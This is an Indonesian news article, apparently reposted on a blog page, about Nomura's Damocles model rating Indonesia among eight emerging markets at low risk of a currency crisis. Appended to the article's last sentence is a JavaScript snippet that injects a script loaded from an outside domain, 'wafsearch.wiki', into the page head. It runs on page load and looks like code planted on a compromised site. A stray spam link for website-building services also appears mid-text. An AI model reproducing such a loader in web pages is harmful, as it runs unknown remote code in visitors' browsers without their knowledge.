Riset terbaru dari Nomura Holdings Inc menyatakan Indonesia sebagai salah satu dari delapan negara berkembang yang mempunyai risiko kecil atas terjadinya krisis mata uang.
Berdasarkan hasil riset Nomura yang diterima kumparan, Kamis (13/9), negara lain yang juga mempunyai risiko rendah terhadap krisis mata uang antara lain Brasil, Bulgaria, Kazakhstan, Peru, Filipina, Rusia, dan Thailand.

“Di sisi lain, delapan negara yakni Brasil, Bulgaria, Indonesia, Kazakhstan, Peru, Filipina, Rusia, dan Thailand, memiliki skor terendah dalam krisis mata uang, dengan skor Damocles nol,” tulis riset tersebut.
Laporan tersebut juga menilai berbagai langkah yang sudah dilakukan otoritas moneter maupun pemerintah Indonesia dalam menjaga pergerakan nilai tukar rupiah telah berjalan dengan efektif.
“Sementara tekanan depresiasi telah meningkat lagi pada tahun 2018, Bank Indonesia (BI) telah bertindak tegas dengan menaikkan suku bunga 125 basis poin sejauh ini. BI juga telah memperkuat koordinasi kebijakan dengan Kementerian Keuangan, yang menerapkan kebijakan untuk mengurangi defisit transaksi berjalan,” demikian riset tersebut.
Indonesia juga dinilai telah memiliki cadangan devisa yang baik untuk menahan depresiasi rupiah serta berbagai upaya untuk memperbaiki defisit neraca transaksi berjalan dan membuat APBN yang kredibel.
Kurs Rupiah terhadap Dolar AS

BACA JUGA : Jasa Pembuatan Website

Petugas jasa penukaran valuta asing memeriksa lembaran mata uang rupiah dan dollar AS di Jakarta. (Foto: ANTARA FOTO/Puspa Perwitasari)
Dalam kesempatan tersebut, Nomura juga memberikan sinyal bahwa tujuh negara berkembang mengalami risiko krisis nilai tukar yang tinggi, yaitu Sri Lanka, Afrika Selatan, Argentina, Pakistan, Mesir, Turki, dan Ukraina.
Sebanyak lima dari tujuh negara tersebut telah jatuh ke dalam krisis mata uang atau menjadi sasaran dari program penyelamatan Dana Moneter Internasional (IMF).
Riset Nomura ini didasarkan pada model peringatan dini yang bernama Damocles, yang mengacu pada salah satu tokoh dalam mitologi Yunani. Damocles dibangun untuk mengidentifikasi potensi krisis mata uang di 30 negara berkembang dengan mempelajari beberapa indikator, termasuk cadangan devisa, tingkat utang, suku bunga, aliran dana dan impor.
Semakin tinggi skor Damocles di suatu negara, maka semakin rentan negara tersebut mengalami krisis, seperti yang saat ini dialami Sri Lanka dengan nilai 150, atau yang tertinggi diantara negara berkembang lainnya.
Damocles tidak melihat negara berkembang sebagai satu kesatuan yang homogen, karena terdapat negara-negara yang mempunyai indikator risiko krisis mata uang rendah. Model ini dengan tepat telah memprediksikan sekitar 67 persen dari krisis mata uang di 54 negara berkembang sejak 1996, sekitar 12 bulan sebelum krisis terjadi.
Beberapa diantaranya seperti krisis finansial Asia pada 1997, krisis keuangan Rusia pada 1998 serta guncangan ekonomi yang baru-baru ini terjadi di Argentina, Turki, Afrika Selatan dan Pakistan.var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Leave a Reply

Your email address will not be published. Required fields are marked *